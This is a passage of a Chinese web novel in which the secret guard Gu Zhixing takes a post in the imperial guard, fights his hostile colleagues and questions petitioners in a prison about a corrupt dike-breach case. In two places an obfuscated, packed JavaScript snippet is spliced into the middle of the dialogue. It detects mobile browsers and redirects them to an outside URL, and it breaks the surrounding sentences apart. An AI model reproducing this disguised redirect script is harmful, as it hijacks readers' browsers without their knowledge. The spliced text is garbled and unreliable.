正赶上张净的休沐日,他穿着常服,半干的湿发披散在肩头,斯文得不像个宦官,到像个不羁的文人。见顾之行到来,也没有不好意思,反而以茶礼相待。 在顾之行将此行目的说出了后,笑道:“既是圣上让我协助你,我自当将你所交代的事办好,你且在我这儿这里等等吧。” “有劳。” “同为圣上办事,哪有什么劳不劳。” 张净办事干净利落,不过半日,就有人将把誊抄下来的副本卷宗送过来。 上面记载:马路,临安县人,已过而立之年,家有一老母,此人善于逞凶斗狠,半年前因在街道上失手打死一人而被抓获,因无力缴纳税银,故判以死刑,而在被处斩前,设计打伤牢狱之人逃走。 又与三月前在阎都被抓,在衙门里缴纳白银五十两,被释放。 白纸黑字,一清二楚,看得顾之行直皱眉。 大梁朝因国库空虚已久,故多年前就颁布了犯罪者可以通过向官府缴纳银两而获得减刑的律法,缴纳的银两越多,刑罚越轻。 这顾之行知道,让他皱眉的是马路怎么突然有那么多银两缴纳罚款。 他又想起大志那掺杂着羡慕的话:“该说不说,崔府真是门阀世家,财大气粗啊,养着那么多门客就算了,每位门客每月还都能拿一两多的碎银,这比普通百姓干一年还多,若是会讨欢心还另有赏赐,真是让人羡慕至极。” 顾之行:“……” 不但没有洗清崔氏的嫌疑,反而更让人觉得早有异心…… 张净在一旁:“案子可有眉目了?” 顾之行实话实说:“有,不过具体情况还要圣上定夺。” 随后他站起拱手:“多有打扰,卑职告退。” “好。” 张净并未起身,他望着顾之行的背影,沉思着。 13. 商量 禅院内,室里一片死寂,案桌上放着卷宗,证物。 顾之行在向李暨客观又简洁地回禀了一切事件后,便立在一旁。 最后选择相信这调查结果对崔氏发难;还是怀疑案件始末重新彻查,都是李暨说了算。 李暨脸色青了又白,白了又青,手死死攥着“金箔”,下一秒竟直接将案桌掀翻在地,案上卷宗,笔架,香炉等物体被打翻,散落一地香灰,香炉一路滚到顾之行脚边才停下,周围一片狼藉。 顾之行当即跪下。 “好,好,好,咳咳咳……” 李暨一连说了三个“好”字,可“好”字后面却没了下文,不知是被气得说不出话,还是和顾之行一样对案件结果持怀疑态度。 李暨又跌坐回位置,垂目:“顾之行。” “卑职在。” “你这次做得不错。” “谢圣上夸奖。” “先不急着谢,朕还要让你做一件事。” “从今天起,朕命你为千牛卫的中郎将与地方官府一起负责追查黄河决堤案。朕许你特权,若有证据可跳过府衙审查流程,直接将人捉拿归案。” 顾之行讶然抬头:“……” 突如其来的任命与重用,让人分不清这位皇帝究竟想要什么。 可无论皇帝想做什么,身为皇帝的刀,他都没资格过问。 顾之行垂首:“……是。” 这次的“明贬暗升”最高兴的不是顾之行,而是跟随在他身后的大志他们。 暗卫,说白了就是见不得光的死士,替皇权卖命,没有前途,无人记得,万一死了,草席一裹城外乱葬岗就是他们的归宿。 若侥幸活了一辈子,当你没有利用价值亦会被丢弃。 这是他们从小就要学会接受的事实。 而一旦有了可以行走人世间的身份,那就不一样了,你可以去拼,去闯,为自己劈出一条路来。 “老大恭喜啊。” “是啊是啊,老大你跟我们说说呗,圣上怎么突然让你当中郎将了?” “不知道为啥看到老大这样,我突然感觉自己的未来也一片光明啊!” 几个人叽叽喳喳地围在顾之行身边,也没个正形。 “正经点。” 顾之行被众人吵得头疼,淡声警告:“就算我是中郎将也依然是你们的头。” 身形未动,却自带威压 顾之行素日以来待人皆很冷淡,再加上他那恐怖的武力值,让他们多多少少都有些畏惧,所以平里哪敢开顾之行的玩笑,这次是真的高兴才多嘴了几句。 而被顾之行这么警告,他们也不敢再开口说什么,如缩头乌龟似的缩在一旁倒是有些可怜。 顾之行淡淡瞥了一眼,终于将手中书简放下,从腰间扯下一个钱袋丢在桌子上,松口道:“去酒楼里吵。” 众人不知顾之行这是何意,一时间都面面相觑起来,还是小杜机灵,连忙把桌上的钱袋子抓起来往自己怀里揣,笑道:“谢谢老大!” 说着撵小鸡将一群有些懵逼的弟兄们都赶出去:“走走走,既然老大都发话了,那我们还不赶紧去潇洒潇洒!” 他用力拍了拍胸脯,气势如虹道:“毕竟老大请客!我们今天一定要喝他个痛快!” * 而远在阎都的郑旭这时候才在家中听到这消息,吓得立马让家仆备上马车,马不停蹄地往恩师家赶,希望能商量出个对策来。 还没等马夫将车停好,郑旭就迫不及待地下车,动作太急,一时竟没站稳直接崴了脚,但此刻的他可管不了那么多,一把挥开马车想要搀扶的手,一瘸一拐上前对门前小厮道:“我要见老师,你快去禀告。” 郑旭作为崔太尉的门生,平时自然和老师走得及近,串门来访也是常事,小厮不敢怠慢,忙道:“大人先在此等一下,小人这就去通报。” 没一会儿,回禀完的小厮就出来请郑旭往前院的南书房。 郑旭对崔府路线早已轻车熟路,他内心着急不知不觉就越过小厮在前面走着,边走边不忘整理一下自己头上有些歪的发冠,确保自己衣冠正,衣着得体才迈步进去,还没看见人就急急出声:“老师,你可得到了什么谣言?那谣言,谣言说我……” 声音戛然而止,郑旭口中的老师正提笔练字,老人佝偻着背,白花稀疏的头发整齐熨贴在头皮上,手中的笔并没有因郑旭的打扰而停顿。 郑旭却不敢再说什么,崔文豪喜静,尤其是练字期间最厌烦被人打扰,他就算再怎么着急也不敢在这时候打扰,只能默默在一旁候着。 崔文豪在抄完一册经文的最后一个字后才放下手中的宣城紫毫笔,直起身口中唤道:“明煊你过来看看我这字怎么样?” 郑旭,字明煊,他听崔文豪出声唤他才敢凑上前细细端详一番,低头惭愧道:“老师的字依然苍劲有力,笔走蛇龙,总是让学生自愧不如。” 将谦卑的姿态拿捏得死死的。 “是吗?可我怎么听说你的字在市面上是有价无市,一字难求,我这个老师的字在你面前怕是也要见行惭愧。” 郑旭一愣,立马作辑行礼:“这都是那些人给学生担的虚名,弟子哪敢……和老师的字相提并论。” 他不知崔文豪此话是何意,正有些惶恐之际。 崔文豪却又不纠结字好看不好看了:“你今日找我来是何意啊?” 终于聊到正事上了,郑旭心下松了一口气:“老师不知今日可否听信了一些关于,关于学生的谣言……” 崔文豪垂眸摩挲着茶盏:“你是说关于宣德三年的那个黄河决堤案?” 郑旭乖顺地上前倒茶:“是……” 崔文豪低头喝了一口道:“已经有人给我递了书信,怕不日就会有圣旨下来命你停职在家,方便府衙查办审理。” “所以求老师救我!” 郑旭顿时跪下来,一个正三品,已是不惑之年的男人此刻面露惶恐,他是真的害怕万一被查出点什么,那,那可是……杀头的重罪啊! 崔文豪冷哼:“你不是说这些是谣言?那我要救你什么?” “……这,这。” 郑旭现在还想着如何遮掩,结结巴巴道:“当年我还只是个工部侍郎哪有那么大的权力不惜担万民之骂名而去毁损堤坝?况且朝邑县距阎都有千里之远,我,我就算有心也无力啊!” “可万一,万一被有心人拿去利用,对了,那个御史大夫张作义就和我们不对付,天天唱反调,难保不会拿这件事在圣上面前作文章……” 崔文豪能坐到太尉的位置上,除了一些政绩外,自然还有其他的本事在,他听着郑旭的话,神色暗了暗,猛然拍桌:“事到如今你还想瞒我?既然如此你也不要求我什么了,你自请摘掉官帽,去自己府上等着吧!” “老,老师!” 郑旭大惊失色,膝行上前,跪求认错:“老师,学生知错了。” 他老老实实地交代了自己所做的一切。 是啊,堤坝没有被他所毁,而是被黄河所冲毁,可如果工程材料没有弄虚作假,以次充好,这黄河也不一定决堤。 还有郑旭所谓的有心无力是不假,可也有人排除万难也要搭上他这条线的人。 为的不过是瞒天过海,顺便拉上更多的人上这艘贼船。 郑旭还想替自己狡辩:“我只是一时鬼迷心窍才盖了章,可我真没做什么啊,我也没想到他们的胆子那么 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郑旭双拳紧握,却还是强撑着笑脸道:“崔氏世代公卿,连圣上都要倚仗老师,我这一个小小的户部尚书,自然也是要靠着老师的。” 崔文豪无奈:“好了,既然都是为同一件事来,不如大家就说说怎么办吧。” 崔霄率先开口:“能想什么办法?这贪污的银子又没到咱们手上,咱们就不要淌这趟浑水了,让某些人想好了。” 崔文豪看着自家儿子,苍老的脸上闪过一丝恨铁不成钢,他沉声道:“时隔十几年,却突然出现一群人拿着御状告到圣上面前,还是在那么凑巧的时候,说明这后面肯定有人指使,事情怕是没那么简单。” 崔霄震惊:“……” 郑旭接话:“那老师可有对策?” 崔文豪不语,只是又起身用红毛笔在经文上勾了几个圈递给郑旭,让他先行离开。 而门外的郑旭捧着崔文豪的字迹,是半分头绪也没有。 最终心一横牙一咬,暗道:现在来看单靠恩师来洗脱他身上嫌疑几乎不太可能,他现在必须要为自己筹谋才行。 崔霄等郑旭退下才冷哼道:“那个郑旭在爹面前倒是装的乖巧,背地却恨不得别人把他捧上天,老子最讨厌这种两面三刀的人!” 崔文豪又何尝不知,他前面几次三番的假装试探,可这郑旭都是在装傻充楞,如果不是最后他逼着他把事情的来龙去脉讲清楚,怕是会一直隐瞒。 可事到如今,他们还是要尽快把事情解决,以免圣上真的翻出什么东西来。郑旭终究还是他们的人:“你讨厌归讨厌,但这事还要重视起来,圣上到底是怎么想的,还有谁要对付我们。” 崔霄重重坐下,拍案:“哎,现在圣上远在终南之地,而我们却身在阎都,无法第一时间得知圣上的意思,时间差太多了。” 崔文豪蹙眉又展开:“我记得地方刺史是我的一个学生,你稍后可以书写一封信,传递消息,记住让他无论用何种手段都不要让查案之人接近真相。” “知道了,爹。” * 顾之行现在不但是暗卫首领,还要以圣上的“救命恩人”身份去千牛卫那里就职领牌。 毕竟这样着手办案才合乎情理,不会引人注目。 而南衙禁卫军现如今都跟随圣上驻扎在钟南山上的寺庙里,因先前打过招呼,顾之行倒是可以顺利进入。 刚一迈进门槛,一道闪着寒光利器直冲向顾之行面门,幸而他身手敏捷,侧身躲过,利器直插在他身后的地面上,入木三分,是一只箭矢,箭尾还在微微颤动。 为首的手持弓箭的是王杰通,正一脸嘲讽地看着顾之行。在他身后是整装列队的千牛卫。 来者不善。 14. 打架 顾之行目光微凝:“……” 据他所掌握的情报来看,这帮千牛卫多为官宦子弟,平日里最爱狗眼看人低,看不起平民,自然也看不上一个不知什么来头的他。 就算他救驾有功。 只是顾之行没想到才上值第一天,他们就敢明目张胆地给他下马威。 王杰通见到顾之行的第一眼时,眼中闪过一丝惊艳。 因顾之行救驾时戴着面具,王杰通完全没想到那青面獠牙的面具下藏着这样柔美的脸。五官精致,高风秀骨,凤眸里似含冰霜,是个冷美人,尤其是那长腿细腰,是能让人垂涎三尺的程度。 而惊艳过后,他又迅速回过神,率先开口,语气矜傲:“我们在训练射箭,所以没看见来人。” 屁的训练。 只是看不惯顾之行以白身担任正四品下的中郎将一职,想要教训一下他罢了。 顾之行不欲听王杰通解释:“……我来领鱼符。” 王杰通没动:“所以你就是那救驾之人?” 顾之行:“若是不信可以去问圣上。” 王杰通就这样被呛了一下,还没说话,其中一个不怕死的开口:“哟,我当是什么呢,原来是个美人啊,话说你这样的美人怎么来我们这儿的?难不成是怕我们弟兄们寂寞,专门过来给我们暖床来了吧?!” 大梁的男风之好不足为奇,更何况还是这么个美人,若不是他腰间的剑,怕是早被这群人吞了去。 所以此话一出,顿时引起众人大笑,还有几个被色欲冲昏了脑袋的家伙,吹着口哨,眼珠子都快黏在顾之行抠不下来。 顾之行对这荤言荤语,无半分情绪,他淡定看着这群人,手腕一转,在众人来不及反应之际,剑尖直指那口出妄言的男人咽喉,只差一寸就能要了他的命。 那人连顾之行怎么出手的都不知道,震惊地瞪着他的绿豆眼,不可置信:“你,你敢……” 下一秒,整个人就被踹出三尺之外,一头撞到柱子上,晕了。 感受到威胁的王杰通下意识拔刀,其他人也跟着上前一步,一整个蓄势待发,剑拔弩张。 顾之行收剑,神情未变:“原来是下马威,你们是一个个上,还是一起上?” “狂妄!” 王杰通,字虎,濮阳王氏家中的嫡次子。 濮阳王氏与崔氏皆为四大望族之一,门阀士族,历任贤后皆出自王氏家族,虽是外戚,却无甚野心,在朝野间安分守己过着滋润日子。 不过这王杰通不愿当个闲云野鹤的闲散人,凭借一颗报国之心,在边防历练过几年,后因某些原因述职阎都,担任禁军督尉统领,正三品的官。 这样一个自傲不凡之人,自然看不惯顾之行这样一个无名小卒的挑衅,他把弓箭丢在地上,挥刀向前,顾之行手腕一转,拔剑相抵,触及即分,而一旁早已按捺不住的官宦子弟们也一拥而上。 一炷香后,这群自称“天府之兵”的全都倒地不起,呻/吟不止。 这群兵痞子被阎都的繁华盛景眯了眼,叫软香温玉弄酥了身子,整个都烂到了骨子里。个个都是领着军饷的草包,挥砍的那几刀,软弱无力,花架子一个,没有甲胄长矛,连顾之行一招都抵挡不住。 最后仅有王杰通和顾之行二人还立在场中。 王杰通粗喘了几口气,竟然大笑起来:“哈哈哈,痛快!老子好久没有打过那么酣畅淋漓的架。” 脑海里却回想着刚刚的生死一线,不禁有些后怕,而这还是顾之行手下留情的结果。 顾之行武力值恐怖如斯,是王杰通没想到的。 当时禁军赶到后,顾之行已经差不多结束战斗了,所以他们并没有见过顾之行的真正身手,否则也不会有这一出戏。 顾之行衣袖不染半点尘埃,剑收鞘,又把话重复了一遍:“既然切磋完了,麻烦告诉我在哪里领鱼符。” 没人回答。 顾之行抬脚往里走,既然无人回答,那他就一个个去找。 “等等。” 王杰通突然叫住顾之行。 顾之行停住,回身看他:“还想打?” “……不打了,不打了。” 王杰通虽然鲁莽可也是个真性情的,他看不惯顾之行这个一来就深受宠信的“空降兵”是真的,但现在认可顾之行的武力也是真的。 而且虽然别人看不出来,可他刚刚确实输了,他技不如人,他认。 也明白顾之行刚刚为何会留手。 为了不让他输得太难看。 慕强是人的天性,何况顾之行点到为止,并没有下死手。 这份恩情,他是记下的。 他向顾之行抱拳:“你很厉害,王某佩服,以后你若遇到什么困难,大可以来找我,王某若能帮上,定会帮。” 这是在示好和为刚刚的行为道歉,同时也在敲打在场被顾之行得罪的其他人。 “……” 顾之行不知道眼前这人崎岖的心理路程,面对这样一个阴晴不定之人,脸上难得出现了一丝情绪,他愣住了,忽然他开口:“你因擒贼不力,被圣上罚俸半年,若是不服可当面质问圣上,而不是在这寻私仇,发私泄。” 莫名被小自己十几岁的青年教训了的王杰通:“……” 他走上前,顾之行立刻警惕,拔剑,而王杰通只是把手搭在顾之行的肩上,像个长辈似的:“是我失误,所以重新认识一下,我叫王杰通,你叫什么名字?” 顾之行不太习惯和别人靠得近,脸色更冰了:“……顾之行。” “好,既然我们已经交换了姓名,那过往就既往不咎,从今天起好好相处吧。” 顾之行:“可我很狂妄。” 王杰通听到这话,愣了一下才反应过来。心道:这小子还挺记仇。 可是他先挑衅的,也是他先要和好的,只能认这话:“少年意气,为何不狂?” 他是真心欣赏这根骨奇佳,武术造诣极高的少年。 顾之行:“……” 王杰通接着解释:“还有禁军鱼符需要时间赶制,我已经排人去阎都知会了,只是钟南山距离阎都百里远,一来二去要七日左右才能交到你手中。” 说完他还试探性的问道:“这……你不知道吗?” 这……顾之行还真不知道,情报里没有。 不但白跑一趟,还被迫打了一架,顾之行整个人都木了,他抬手:“告辞。” 王杰通:“……你要去哪儿?” “不便告知。” “……” 王杰通并没有多问,大概也是特地交代过了。 顾之行走后,原本还唯唯诺诺的千牛卫,突然忿忿不平起来:“统领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517625|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你怎么就这么放过那小子了?也太便宜了他,我相信以统领的能力完全可以把那小子打趴下。” 王杰通毫不客气地拍下他的后脑勺:“别逼逼了,打不过人家就认,逞什么英雄好汉!快滚过去训练,还有把那个还在地上躺着的就是拖回房间里去,再找个大夫过来看看。” “马上就要轮值替班了,别到时候少了一个人。” 阎都,深夜,郑府,被停职闲赋在家的郑旭突发恶疾,口吐白沫,翻白眼还浑身抽搐,家中人急忙派人去请大夫,可请上门的大夫一波接着一波,皆摇头叹息,束手无策。 * 钟南山脚下的坊市与阎都相比就破败了许多,都是些寻常摊贩相互吆喝,偶尔有人驻足停留。 而山脚下却停着一辆格外显眼的马车,不是它有多华贵而是它足够破败。 四处都是补丁却依然漏风的车帘,上面挂着风铃的红绳,却唯独不见风铃,独留那跟断绳在风中飘摇。 连前后轮子看起来都不一样大,看起来歪歪斜斜的,更不要说缰绳上拴着的老马,把它卖给肉铺都嫌它肉太材。 可能是这辆马车过于破旧,引得路人频频侧目,顾之行也不可避免得多看了两眼。 就看见马车上还有一名布衣少年,正眯着眼睛,懒散地坐靠在马车上,一条长腿悬空着,摇摇晃晃的。 那名少年似乎察觉有人在看他,睁开眼睛无比准确地锁定住了顾之行,随后展开笑颜:“你终于来了,我等了你好久。” “……” 少年似乎在和他搭话,可顾之行非常确定自己没有见过这人,因此并没有停留,直接擦肩而过。 “顾之行!” 少年见顾之行没理他,似是气恼了,连名带姓称呼他。 顾之行终于转头:“你认识我?” 少年见顾之行看他了,才又恢复刚才的散漫笑容:“不认识。” 顾之行抬脚就要走。 少年的声音从后面传来:“不过我认识大皇子。” 顾之行又成功停住脚步,问了他第一个问题:“你是谁?” “李案。” 李案似乎很喜欢顾之行注意力停留在他身上,笑意渐浓,让一张平凡的脸都鲜明起来。 他道:“我是奉大殿下的旨意,在此等你,与你一起助县尉破案。” 说着他掏出和顾之行一模一样的符牌,金漆黑底,传闻是用火山口处特殊的矿石材料制作而成,当今无人能仿制。 顾之行:“……” 这符牌世间不过十,是用来赐给最亲近之人。 而李案手中的符牌……是真的。 他没有说谎。 李案收起符牌,又重新坐回马车上,拍了拍自己旁边的位置:“既然我们是一路的,那我就破例让你坐一回我的马车吧,上来。” “……” 顾之行看着破烂不堪,仿佛下一秒就要倒塌的马车非常果断地拒绝,选择步行。 如果可以他甚至想用轻功,只可惜这里的城镇人口密集,他不能施展。 于是就出现了这样过于滑稽的一幕。 年纪稍大的持剑少年在前面快步走着。而年纪稍小的少年驾着辆一步三晃,自带“铃声”,步子迈得再大一点就会散架的破旧马车让前面的少年等等他,说他这是老马走不快。 15. 地牢 叽叽喳喳地吵个不停。 “你真的不坐我这马车吗?这里距官府路途偏远,倒不如物尽其用,省点体力。” “真的不坐吗?难不成是嫌弃我这马车……” 顾之行似是终于被李案的话弄烦了,飞身至马车上,刚一落脚,就听“嘭”地一声,这原本就不堪重负的马车,终于还是塌了。 而老马因受到惊吓,前蹄悬空,嘶吼一声,甩着脑袋眨眼就跑没影了,完全看不出是匹快要入土的老马…… 顾之行因躲闪得快,并没有被木板溅起的碎屑灰尘波及到,反倒是李案整个人陷入碎木板里,灰尘落了满身,让他整个人看上去更加落魄。 可他不但没恼反而笑得身子后仰,肩膀颤抖,像是个恶作剧得逞的孩子。 顾之行:“……” 李案见顾之行没有要理他的意思,才半支撑起身子:“好心的哥哥,不扶我一下吗?我这马车从严格意义上来说还是因你而塌掉的。” 他伸出手,眼眸微眯望向顾之行,语气里还带着一丝撒娇的意味。 “……” 顾之行目光落在李案伸出的手上,那是双修长漂亮,一看就知道其主人平日保养搭理得很好,和那张平凡的有些蜡黄的脸格格不入。 他手腕一转把剑鞘的另一头递给李案,示意他抓住这个拉他起来。 李案也不含糊拽着这个剑鞘站起,俩人一下子靠得极近。 顾之行看着明明比自己小却和自己差不多高的李案,不自觉后退了一步。 李案看着顾之行的动作,神情一暗,却并未开口说什么,很自然地松开搭在剑鞘上的手。 因为俩人都没了代步工具,只好用走的,刚开始李案还能老老实实地走,可没走几步就说自己脚疼,走不了了。 “要不哥哥背我吧?” 李案突然提议,笑容明媚,好似他提了一个再正常不过的意见。 下一秒,一把长剑就架在他脖子上。 顾之行声音冷淡:“我不知道你是什么人?为何会易容接近我,但如果你想妨碍我,我会毫不犹豫地杀了你。” 李案不但没有害怕,反而凑上去,笑道:“真的吗?哥哥会杀我?哥哥不想知道我是谁吗?” “就算你死了,我也有办法调查清楚你是何人。” 顾之行声音笃定,李案笑意突然就淡了,因为他从顾之行的眼中看出,顾之行是说真的。 李案转头,不在意地勾了勾唇:“放心,我是真的受大殿下所托来助哥哥破案的,所以自然不会妨碍哥哥。” 他摸了摸自己脸,轻声:“我易容有我自己的理由,所以还望哥哥后面不要在其他人面前拆穿我。” 顾之行:“……” 一路上李案没再出幺蛾子,安静地在一旁走着。 县衙门口,一群人在雪地里,揣着双手正翘首以盼地望向某处。 其中一位四五十岁,留有八字胡的清瘦男子还在自言自语:“都这个时辰了怎么还没到,难不成是路上出了什么事吗?” 正思索着,其中一位拿着画像的仆人,突然兴奋地指着不远处大喊:“老爷,老爷,他们来了!” 可算等到了。 清瘦男子精神立马为之一振,匆忙迎上去:“拜见中郎将,下官已在此处恭迎良久,幸而上苍不负有心人终于等到您了。” 这一番殷切问候,换来的是却是沉默。 有路过的行人纷纷侧目,不明白为什么县衙老爷要对着一座石狮子拜了又拜。 最后还是那仆人忍不住了,在边上小声提醒:“老爷,您又认错人了,这是石狮子。中郎将在另一边。” 男子恍然大悟般从袖口里掏出一个手柄“火琉璃”放在眼前。是个中间厚,边缘薄的透明琉璃,边上还镶嵌着金丝线,样式非常新颖精巧,应当是从西域那边传入的。 这下终于看清楚人了,便又开始了好一阵的寒暄:“哈哈哈,让中郎将见笑了,下官眼神不太好,平日里要靠着这个才看清东西。” “天寒地冻的,中郎将赶路辛苦了,正好下官已经备好了酒菜就等着为您接风洗尘呢!快请进吧!” 见顾之行犹疑,又连忙解释:“中郎将放心,宴席并非在酒楼而是设在衙门里,只是简单的一顿饭,算是下官一点点小心意还望中郎将不要拒绝。” 话都说到这份上了,顾之行再拒绝就是不通情理了,他点头:“有劳周县尉了。” 顾之行走在前面,衣角突然就被人拉了一下,他回头,耳廓好死不死地擦着那人的唇边而过,过于亲密的举动让顾之行身体一僵,下意识就要拔剑,少年清亮的声音适时响起:“小心这个人,他不一般。” 说完李案就立马乖巧地退到一边,当做什么都没发生过一样。 顾之行却觉得耳边被他触碰过的地方在发热发烫,这让他心底难得地升起一股烦躁来。 不知是在烦躁李案的不知分寸;还是在烦躁自己竟然会放松警惕让这人靠自己那么近。 围观这一切的周县尉眼神在这两人之间游移,非常识相地没有开口询问。 周县尉果真如顾之行所说有问题,在用餐期间不但只字未提“黄河案”反问一个劲地夸顾之行年少有为,年纪轻轻就当上了中郎将,话里话外皆是奉承拉拢。 堂口,庭院中央有一池水,池中的残荷在冬日的摧残下早已干枯萎缩,徒留一地寂寥。 而其他人已经红泥陶瓷暖锅里冒出的热气熏出一脸热汗,木炭热锅将外面的寒冷彻底隔绝在外,连顾之行身上的寒气都驱散了。 李案不知何时戴上了黑色手套,正埋头苦吃,活像个从没吃过饱饭的孩子。 顾之行放下手中筷子,既然有人不愿开口,那他就主动提起:“周县衙,黄河案是由谁负责的?” 周县尉顿了下:“……严格来说是由下官负责。” “竟然如此,你应该知道我为何而来,那你便说一说这案件的最新进展吧。” 周县尉显然没想到会一下子扯到这个话题,斟酌了一下才缓缓开口:“下官无能,这案子进展很是缓慢,下官手中只有一纸诉状,并没有实际证据来判定此人究竟是诬告官员还是确有一事。” 顾之行:“……” 说了和没说一样,圣上就是因为无法判断是诬告还是状告才派人调查。 按理说他已调查多日,理应有结果,可现在又把这话原封不动告诉给顾之行,不知是真的无能还是另有隐情。 旁边的李案从锅里夹起一块肉片放进嘴里,听罢,似笑非笑地开口:“看来周县衙平日里真是日理万机啊,所以才不把圣上的旨意放在心上。” “你……” 周县尉拍案而起,气恼道:“你别血口喷人!天理昭昭,我对圣上的忠心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517626|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可鉴日月!” 李案好似没看见周县尉眼中快要喷出的火,依旧笑意盈盈:“急什么?周县衙这般急着辩驳,倒让人更加疑心。” “你!” 顾之行突然抬头:“我要去地牢里见他们。” “他们”自然指几日前在告御状的几人,他们以白身状告官员,不但要被鞭打,滚铁钉,还要被关进牢里审问出结果才能放出来。 周县尉闻言,如被水泼了一般气焰立马就消了,一时无言:“……” 可顾之行真的要见,凭他一个九品下的县尉根本阻拦不了,只能答应。 几人跟随狱卒来到地牢。 地牢里昏暗无光,腐臭与血腥混杂着,过街老鼠和蚊虫撕咬着犯人的皮肤,过于潮湿的环境让四周墙壁被青苔覆盖,湿滑无比。仅凭狱卒手中的烛光才能窥得一方天地。 在下去几个阶梯后,又往前走了几米,他们才站定。 “起来了,快起来,有贵人来看你们了。” 狱卒把牢门上的锁链摇得哗哗作响,尖锐的声音刺得人脑仁疼,牢门里的几个黑影动了。 狱卒转过身又是另一番嘴脸,恭敬无比:“大人,这便是那些刁民所在了。” 顾之行侧目,还没开口,一个布满伤痕粗壮手臂就伸了出来,嘴里喊着:“大人,大人我们真的是良民啊,我们有冤情,我们只是想要讨回一个公道!这有何错?!民告官有何不可?!” 声声呐喊,句句泣血。 “大胆!有大人在此,刁民还敢放肆!还不跪下行礼!” 狱卒的一声暴喝打断了他的喊叫。 最里面的一直坐着的男人终于动了,一瘸一拐来到顾之行跟前,应该是个话事人,虽是蓬头垢面看不清样貌,囚服倒是很干净。 “大人要问我们什么?我们已经什么都说了,再怎么问也还是原来的说辞,就算把我们永远关在这儿,也绝不会翻供!” 周县尉叹息:“何人让你翻供的?不过是让你把事实说出来。” 男人毫不客气地回怼:“你个昏官,那张诉状就是全部的事实!” 周县尉被怼地温怒:“放肆,你竟敢辱骂本官!” 顾之行上前一步,横隔在男人和周县尉之间:“之前的审问是之前的,现在我介入了这件案子,不管前面情况如何,若是最终证明你们所言不虚,自会给你们讨回公道!所以请你们再把当年的事完整地叙述一遍。” “呸,当官的就没一个好东西!” 男人眼神狠戾,冲地上吐了一口吐沫,他如今根本不相信顾之行这话,在他看来这些人官官相护,早已沆瀣一气,一丘之貉,说不定这人又想出什么折磨他们的办法。 男人冷哼一声还想再骂,可眼神在接触到顾之行身后的那个人时却神情一顿,神色慢慢复杂起来,他看向顾之行,半响迟疑道:“你当真会为我们翻案?” “若事实如你所言,自然会。” “……好,那我再说一遍。” 风雪天,在刺骨寒冷的地牢里,男人又把事实重复了一遍。 而在男人的讲述中,顾之行脸色却越来越冷,好像被人兜头浇了一盆冷水,身体微微颤抖;转瞬间又被火炙烤着,胸口发疼发热。 他被负面情绪裹挟着,一时竟不知天地何物。 黑暗中,顾之行攥紧了拳头才堪堪没有让自己情绪外露。 16. 夜访 他从未想过有一天会再从别人口中听到那个满目疮痍,早已在记忆中蒙尘的家乡。 宣德三年,黄河决堤,朝邑县及其周边县村的百姓死伤无数,而一切都因那些贪官为一己私欲,贪污钱财造成的惨象。 顾之行说不清现在是什么情绪,儿时的记忆于他而言模糊又深刻。模糊到他已经记不清他们的脸;可又深刻到记起娘亲死死拉着他的手,力气之大仿佛要生生捏断他的骨头。 那黯然无光的眼睛在濒死前爆发出最后一丝光亮,死死盯着他。 “儿啊,活下去,无论过得如何卑微,如何艰难,就算被人踩在脚下也一定要活下去!” 顾之行像被雷击中了似的,想要倒退,一只手掌突然扶住他的后腰,那块热意明显,带着安抚意味,又让他瞬间冷静下来。 “要出去吗?” 李案在他耳边低声道。 顾之行:“……” 出地牢后,顾之行神色已如常,依旧冷冰冰不可攀的模样,而跟随在旁的周县尉并未察觉出顾之行在地牢里异常的表情,见顾之行始终不语,急得如热锅上的蚂蚁。 为官从政者,无非就那几种人:一为势利小人,一开始便表明自己要什么,只要喂饱了就是自己的人,也不怕他狮子大开口,毕竟这事牵扯甚广,有的是人巴巴地送礼。 二是刚正不阿之人,此人招募不得,可若是使计让他深陷泥潭,自顾不暇,自然也无从开展调查。 而周县尉最怕第三种人,不表明立场,只一味地让你猜,猜对了还行;若是猜错了…… “中郎将,您,您对此口供可有疑问之处?” 周县尉试探性地开口询问,眼珠一转,又叹气:“唉,这些刁民也真是反了天了,凭一张诉状就敢状告郑尚书!这根本不合理啊,朝邑县距阎都三百里远,何况郑尚书也从未在朝邑县任职为官过,怎么就非要状告他呢?” 说着说着还气愤了起来:“所以这些人定是听信了某些挑拨想要污蔑当朝官员!像这些人就不应该留在牢里,立刻斩首都不为过!” 顾之行听着周县尉莫名恨意的话语:“……” 其实他也有相同的疑惑。 是啊,他们为何非要状告郑旭?! 这是最不合理之处,若真是官员贪腐致使堤坝被毁,难道不应该率先状告地方上的水部郎中?或者是京兆少尹?! 却偏偏状告最不可能的工部尚书郑旭…… 顾之行转头:“我还要回去看些卷宗,周县尉就先留步不送了吧。” 周县尉上前一步,表情殷切:“我官阶虽小,但对办案一事还是颇有心得,不如我随你一起……” “这和官阶大小无关,只是我更喜欢一个人思考。” 顾之行不给周县尉半点机会:“方才多有打扰,先告辞了。” “哎,这……” 周县尉阻拦不得,只能眼睁睁看着顾之行出去,眼神渐渐幽暗:“倒是个难搞的。” 顾之行迈出府衙才发现天又落雪了,天色阴沉,空中似飞絮飘舞,最后都落在被无数人踩踏而泥泞不堪的地面上,与污水融为一体。 一抹白色在眼前晃过,顾之行抬眼,一柄油纸伞被人撑开,笼罩在上空。 